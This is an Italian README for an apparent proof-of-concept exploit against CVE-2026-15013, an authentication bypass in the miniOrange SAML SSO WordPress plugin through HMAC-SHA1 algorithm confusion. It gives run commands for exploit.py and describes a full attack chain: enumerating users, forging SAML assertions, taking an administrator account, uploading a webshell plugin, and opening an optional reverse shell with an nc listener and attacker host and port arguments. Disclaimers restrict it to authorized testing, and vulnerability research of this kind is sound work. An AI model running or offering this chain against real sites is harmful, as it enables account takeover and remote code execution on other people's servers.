CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 Bypass dell'autenticazione (PoC)

Proof-of-concept per CVE-2026-15013: bypass dell'autenticazione sfruttabile senza autenticazione tramite la confusione dell'algoritmo di firma SAML (HMAC-SHA1) nel plugin WordPress miniOrange SAML Single Sign On – SSO Login (versioni fino alla 5.4.3 inclusa).

Solo test autorizzati. Utilizza questo codice esclusivamente su sistemi di tua proprietà o per i quali disponi di un'esplicita autorizzazione al test. L'accesso non autorizzato a sistemi informatici è illegale.

Crediti

Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-15013

Causa principale

Mo_SAML_Utilities::mo_saml_cast_key() si fida dell'algoritmo SignatureMethod presente nella SAMLResponse controllata dall'attaccante. Quando è impostato su HMAC-SHA1, il plugin reinterpreta la chiave pubblica RSA dell'IdP come segreto condiviso HMAC e verifica la firma con esso. Chiunque possa leggere il certificato dell'IdP (spesso metadati pubblici) può forgiare un'asserzione valida per qualsiasi utente WordPress esistente, inclusi gli amministratori.

Corretto in 5.4.4+ (algoritmi insicuri / HMAC rifiutati).

CVSS

9.8 CRITICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Requisiti

• Python 3.10+
• CLI openssl (per la conversione del certificato in chiave pubblica)
• Accesso di rete al sito WordPress target e, per il recupero automatico della chiave, al descrittore SAML dell'IdP

Installa le dipendenze:

pip install -r requirements.txt

Utilizzo

Catena completa (enumerazione, login HMAC, admin, webshell):

python3 exploit.py -u https://TARGET.example

Reverse shell opzionale (avvia prima il listener: nc -lvnp 4444):

python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

Solo login (nessuna shell):

python3 exploit.py -u https://TARGET.example --no-shell

Override manuali:

python3 exploit.py -u https://TARGET.example \
  --issuer https://idp.example/realms/xxx \
  --nameid admin \
  -k ./idp-pubkey.pem

Argomenti

Flusso

1. Rileva WordPress e la versione del plugin (deve essere <= 5.4.3)
2. Scopri ACS, SP entityID, IdP issuer
3. Ottieni il certificato di firma IdP (metadati) e ricava la chiave pubblica PEM (segreto HMAC)
4. Enumera gli utenti WordPress
5. Forgia una SAMLResponse firmata con HMAC-SHA1 per ogni utente candidato
6. Seleziona l'account con install_plugins (admin)
7. Carica il plugin webshell (exp/shell.php?c=id)
8. Reverse shell opzionale tramite --lhost

Esclusione di responsabilità

Questo progetto è destinato esclusivamente alla ricerca sulla sicurezza educativa e autorizzata. Gli autori e i collaboratori non sono responsabili dell'uso improprio. Ottieni sempre un'autorizzazione scritta prima di testare sistemi di terze parti. La vulnerabilità originale è stata segnalata tramite divulgazione responsabile; questo repository dimostra esclusivamente la riproduzione a fini di apprendimento e validazione difensiva.

Riferimenti

• https://www.cve.org/CVERecord?id=CVE-2026-15013
• https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
• Fix del plugin: miniOrange SAML 5.4.4+

Licenza

Per uso di ricerca. Nessuna garanzia.